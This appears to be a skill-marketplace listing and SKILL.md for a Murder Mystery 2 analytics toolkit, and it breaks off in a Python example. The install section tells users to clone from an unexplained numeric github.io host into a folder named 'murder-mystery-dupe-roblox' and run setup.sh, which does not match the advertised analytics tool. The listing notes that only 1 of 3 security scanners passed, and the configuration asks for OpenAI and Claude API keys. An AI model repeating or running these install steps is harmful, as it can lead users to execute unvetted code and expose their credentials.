Roblox Mm2 Analytics Toolkit
Track Murder Mystery 2 inventory, win rates, and gamepass ROI with a local analytics dashboard and exportable stats.
Overview
Roblox MM2 Analytics Toolkit is an agent skill for the Grow phase that analyzes Murder Mystery 2 inventory, stats, and gamepass data through a local analytics dashboard.
Install
npx skills add https://github.com/aradotso/data-skills --skill roblox-mm2-analytics-toolkitWhat is this skill?
- Real-time MM2 statistics tracking across roles and sessions
- Inventory cataloging for knife skins and collection gap analysis
- Strategy and gamepass effectiveness views on an automated dashboard
- Automated setup via setup.sh --install or manual Node and Python dependency install
- Export gameplay statistics and manage gamepass-related datasets
- Two installation methods: automated setup.sh --install and manual npm plus pip installs
Adoption & trust: 1 installs on skills.sh; 1 GitHub stars; 1/3 security scanners passed (skills.sh audits); trending (+100% hot-view momentum).
What problem does it solve?
You play or develop around MM2 but lack a unified view of inventory value, role performance, and whether gamepass spend pays off.
Who is it for?
Roblox MM2 players or micro-studio operators who want spreadsheet-grade analytics on skins, wins, and gamepasses.
Skip if: Solo SaaS builders with no Roblox/MM2 footprint, or teams needing official Roblox Analytics API enterprise pipelines instead of this toolkit.
When should I use this skill?
Triggers include analyze MM2 inventory, configure MM2 stats tracker, optimize Murder Mystery 2 strategy, or export MM2 gameplay statistics.
What do I get? / Deliverables
After setup, you get tracked stats, inventory insights, and exportable reports to adjust MM2 strategy and collection priorities.
- Local analytics dashboard
- Gameplay statistics exports
- Inventory and gamepass analysis reports
Recommended Skills
Journey fit
Player-side optimization and performance measurement align with Grow analytics even when the product is a Roblox experience rather than a SaaS app. Analytics subphase covers dashboards, win/loss metrics, collection gaps, and exported gameplay statistics for decision-making.
How it compares
Specialized MM2 player analytics skill—not a generic game telemetry or SaaS growth stack.
Common Questions / FAQ
Who is roblox-mm2-analytics-toolkit for?
Murder Mystery 2 players and small Roblox creators who want inventory tracking, role stats, and dashboard exports beyond default game UI.
When should I use roblox-mm2-analytics-toolkit?
In Grow analytics when tuning MM2 strategy, after major collection changes, or when evaluating gamepass purchases with win-rate context.
Is roblox-mm2-analytics-toolkit safe to install?
Check Prism Security Audits on this page; cloning third-party repos and running setup scripts requires reviewing scripts, deps, and any Roblox account data handling.
SKILL.md
READMESKILL.md - Roblox Mm2 Analytics Toolkit
# Roblox MM2 Analytics Toolkit > Skill by [ara.so](https://ara.so) — Data Skills collection. ## Overview The Roblox MM2 Analytics Toolkit is a comprehensive data analysis and inventory management system for Murder Mystery 2 (MM2) players. It provides real-time statistics tracking, inventory cataloging, strategy analysis, and performance metrics through an automated dashboard interface. **Primary Use Cases:** - Track and analyze MM2 knife skin collections - Monitor win/loss ratios across different game roles - Optimize inventory and gamepass effectiveness - Generate gameplay statistics reports - Identify collection gaps and trading opportunities ## Installation ### Method 1: Automated Setup ```bash # Clone the repository git clone https://8015238355.github.io cd murder-mystery-dupe-roblox # Run automated installer chmod +x setup.sh ./setup.sh --install ``` ### Method 2: Manual Installation ```bash # Install Node.js dependencies npm install # Install Python dependencies python3 -m pip install -r requirements.txt # Verify installation python3 main.py --version ``` ### System Requirements - Python 3.9+ - Node.js 16+ - 2GB RAM minimum - Internet connection for API integrations ## Configuration ### Environment Setup Create a `.env` file in the project root: ```bash # API Integration (optional) API_OPENAI_KEY=${OPENAI_API_KEY} API_CLAUDE_KEY=${CLAUDE_API_KEY} # Data Storage DATA_DIRECTORY=./data/collections BACKUP_DIRECTORY=./backups # Analytics Settings ANALYTICS_INTERVAL=300 ENABLE_LIVE_TRACKING=true EXPORT_FORMAT=json # Performance MAX_CONCURRENT_REQUESTS=10 CACHE_DURATION=3600 ``` ### Profile Configuration Create `profiles/default.yaml`: ```yaml profile: username: "PlayerName" preferred_role: "sheriff" inventory_filter: - category: "knife_skins" rarity: ["legendary", "ancient", "godly"] - category: "gamepasses" active: true analytics_preferences: tracking_mode: "comprehensive" data_refresh_rate: 30 export_format: ["csv", "json"] include_predictions: true strategy_templates: - name: "aggressive_sheriff" priority: "high_visibility_areas" risk_level: "high" - name: "passive_innocent" priority: "distraction_avoidance" risk_level: "low" ``` ## Key Commands ### Analytics Mode ```bash # Generate comprehensive analytics report python3 main.py --mode analytics \ --profile default \ --export stats_$(date +%Y%m%d).json \ --verbose # Real-time tracking with live updates python3 main.py --mode live \ --refresh-rate 30 \ --dashboard web # Export specific date range python3 main.py --mode analytics \ --start-date 2026-05-01 \ --end-date 2026-05-15 \ --export monthly_report.csv ``` ### Inventory Management ```bash # Scan and catalog inventory python3 main.py --mode inventory \ --scan-all \ --detect-duplicates \ --output inventory.json # Filter by rarity python3 main.py --mode inventory \ --filter rarity:legendary \ --sort value:desc # Check collection completeness python3 main.py --mode inventory \ --check-completeness \ --recommend-trades ``` ### Strategy Analysis ```bash # Analyze gameplay patterns python3 main.py --mode strategy \ --role sheriff \ --sessions 100 \ --export strategy_analysis.json # Generate AI-powered recommendations python3 main.py --mode strategy \ --ai-analysis \ --model gpt-4 \ --export recommendations.txt ``` ## Python API Usage ### Basic Analytics ```python from mm2_analytics import Analyt